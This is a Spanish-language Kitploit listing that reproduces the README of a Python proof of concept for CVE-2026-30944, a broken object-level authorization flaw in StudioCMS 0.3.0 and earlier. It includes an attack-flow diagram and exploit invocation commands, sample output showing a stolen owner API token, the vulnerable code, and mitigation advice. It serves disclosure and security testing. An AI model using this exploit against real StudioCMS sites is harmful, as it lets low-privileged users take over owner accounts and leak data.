Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-30944-PoC — Prueba de concepto en Python para CVE-2026-30944, que explota una vulnerabilidad BOLA en StudioCMS para escalar privilegios mediante la generación insegura de tokens de API. | Kitploit
Herramientas/GitHubGitHub/filipegaudard/cve-2026-30944-poc
Escalada de PrivilegiosAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsSeguridad WebPruebas de Penetración
GitHub

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
filipegaudard/cve-2026-30944-poc

CVE-2026-30944-PoC

Prueba de concepto en Python para CVE-2026-30944, que explota una vulnerabilidad BOLA en StudioCMS para escalar privilegios mediante la generación insegura de tokens de API.

Ver Repositorio
hace 5 mesesAún no revisado

🔓 CVE-2026-30944

Escalada de Privilegios en StudioCMS mediante Generación Insegura de Tokens API

CVE CVSS CWE Type

NVD • Advisory • CWE-639


Resumen

El endpoint POST /studiocms_api/dashboard/api-tokens en StudioCMS ≤ 0.3.0 permite que cualquier usuario autenticado (como mínimo con rol Editor) genere tokens API para cualquier otro usuario, incluyendo cuentas owner y admin.

El endpoint acepta un parámetro user en el cuerpo de la solicitud que especifica el UUID del usuario objetivo, pero nunca valida si el usuario solicitante está autorizado para crear tokens en nombre de ese objetivo. Esta es una vulnerabilidad clásica de Broken Object Level Authorization (BOLA) que resulta en una escalada de privilegios total.

Flujo del Ataque

root@kitploit:~
┌──────────────┐     POST /api-tokens      ┌──────────────┐
│              │    {"user":"<owner-id>"}    │              │
│   Atacante   │ ─────────────────────────► │  StudioCMS   │
│   (Editor)   │                            │   Servidor    │
│              │ ◄───────────────────────── │              │
└──────────────┘    {"token":"eyJhb..."}    └──────────────┘
       │                                           │
       │         GET /rest/v1/users                │
       │   Authorization: Bearer <owner-token>     │
       │ ─────────────────────────────────────────►│
       │                                           │
       │ ◄─────────────────────────────────────────│
       │         [Datos completos del usuario como Owner] │
       │                                           │

Detalles de la Vulnerabilidad


Contenido

ArchivoDescripción
cve_2026_30944_poc.pyScript de explotación en Python con modos manual y automatizado
README.mdEste archivo
LICENSELicencia MIT

Requisitos Previos

  • StudioCMS ≤ 0.3.0 (versión vulnerable)
  • Python 3.8+
  • Credenciales válidas para al menos una cuenta Editor
root@kitploit:~
pip install requests colorama

Inicio Rápido

Explotación Manual

root@kitploit:~
# Generar un token API para el owner usando una cuenta de editor
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

# Guardar resultados en JSON
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --username editor01 \
  --password editorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1 \
  --save

Pruebas Automatizadas

root@kitploit:~
# Probar con múltiples roles para confirmar la vulnerabilidad
python3 cve_2026_30944_poc.py \
  -u http://localhost:4321 \
  --auto-test \
  --editor-user editor01 \
  --editor-pass editorpass \
  --visitor-user visitor01 \
  --visitor-pass visitorpass \
  --uuid 2450bf33-0135-4142-80be-9854f9a5e9f1

Argumentos

Obligatorios

ArgumentoDescripción
-u, --urlURL base de StudioCMS objetivo
--uuidUUID del usuario objetivo (p. ej., cuenta owner)

Modo Manual

ArgumentoDescripción
--usernameNombre de usuario para autenticación
--passwordContraseña para autenticación

Modo de Prueba Automatizada

Opcionales

ArgumentoDescripción
--saveGuardar resultados en archivo JSON
--no-ssl-verifyDeshabilitar verificación de certificados SSL

Ejemplo de Salida

Sistema Vulnerable

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 1: Autenticación
  ──────────────────────────────────────────────────────────
  [+] Autenticado como 'editor01'
  [*] Usuario de sesión: editor01 (editor)
  [*] UUID de sesión: 39b3e7d3-5eb0-48e1-abdc-ce95a57b212c

  ──────────────────────────────────────────────────────────
  FASE 2: Escalada de Privilegios
  ──────────────────────────────────────────────────────────
  [*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generando token API para el usuario objetivo...
  [+] ¡Token API generado exitosamente!
  [!] Token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2...

  ──────────────────────────────────────────────────────────
  FASE 3: Verificación
  ──────────────────────────────────────────────────────────
  [*] Verificando acceso del token en la API REST...
  [+] VULNERABILIDAD CONFIRMADA — ¡Acceso completo a la API logrado!
  [*] Se obtuvieron 9 registros de usuarios

Sistema Parcheado

root@kitploit:~
  ──────────────────────────────────────────────────────────
  FASE 2: Escalada de Privilegios
  ──────────────────────────────────────────────────────────
  [*] UUID objetivo: 2450bf33-0135-4142-80be-9854f9a5e9f1
  [*] Generando token API para el usuario objetivo...
  [*] Acceso denegado (403 Forbidden) — el endpoint puede estar parcheado
  [-] Explotación fallida — el token no fue generado

Causa Raíz

El controlador vulnerable en packages/studiocms/frontend/pages/studiocms_api/dashboard/api-tokens.ts (líneas 16–57) acepta un parámetro user del cuerpo JSON y lo pasa directamente a la función de generación de tokens sin comprobaciones de autorización:

root@kitploit:~
// [1] Solo comprueba si el llamante es editor — no PARA QUIÉN está creando el token
const isAuthorized = ctx.locals.StudioCMS.security?.userPermissionLevel.isEditor;

// [2] 'user' del cuerpo de la solicitud — sin validación contra la sesión autenticada
const jsonData = yield* readAPIContextJson<{ description: string; user: string }>(ctx);

// [3] Se pasa directamente a la generación de tokens — IDOR
const newToken = yield* sdk.REST_API.tokens.new(jsonData.user, jsonData.description);

El modelo de autorización solo verifica "¿el llamante es al menos un editor?" en lugar de "¿el llamante está autorizado para crear un token para este usuario específico?"


Impacto

  • Escalada de Privilegios — Cualquier editor puede escalar al nivel de acceso API del owner
  • Acceso Completo a la API — El token generado otorga acceso sin restricciones a todos los endpoints REST
  • Toma de Control de Cuenta — El atacante puede suplantar a cualquier usuario especificando su UUID
  • Fuga de Datos — Acceso a listados de usuarios, contenido y configuración del sistema

Mitigación

Actualice StudioCMS a la versión 0.4.0 o posterior:

root@kitploit:~
npm install studiocms@latest

Aviso Legal

Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas.

  • Úsela solo contra sistemas que posea o para los que tenga permiso escrito explícito de prueba
  • El acceso no autorizado a sistemas informáticos es ilegal en la mayoría de las jurisdicciones
  • El autor no asume ninguna responsabilidad por el mal uso de esta herramienta
  • Siga siempre las prácticas de divulgación responsable

Referencias

  • CVE: CVE-2026-30944
  • Advisory: GHSA-667w-mmh7-mrr4
  • CWE: CWE-639 — Omisión de Autorización mediante Clave Controlada por el Usuario
  • OWASP: API1:2023 — Broken Object Level Authorization
  • MITRE ATT&CK: T1134 — Manipulación de Tokens de Acceso

Autor

Filipe Gaudard


Licencia

Este PoC se publica bajo la Licencia MIT con fines educativos. Úselo de manera responsable y ética.

Descargar herramienta
CampoValor
CVECVE-2026-30944
GHSAGHSA-667w-mmh7-mrr4
CVSS v3.18.8 (Alta) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWECWE-639: Omisión de Autorización mediante Clave Controlada por el Usuario
CWE (secundario)CWE-863: Autorización Incorrecta
MITRE ATT&CKT1134 — Manipulación de Tokens de Acceso
OWASP APIAPI1:2023 — Broken Object Level Authorization
Afectadostudiocms ≤ 0.3.0
Corregido enstudiocms 0.4.0
ArgumentoDescripción
--auto-testHabilitar pruebas automatizadas con múltiples roles
--editor-userNombre de usuario de la cuenta editor
--editor-passContraseña de la cuenta editor
--visitor-userNombre de usuario de la cuenta visitante
--visitor-passContraseña de la cuenta visitante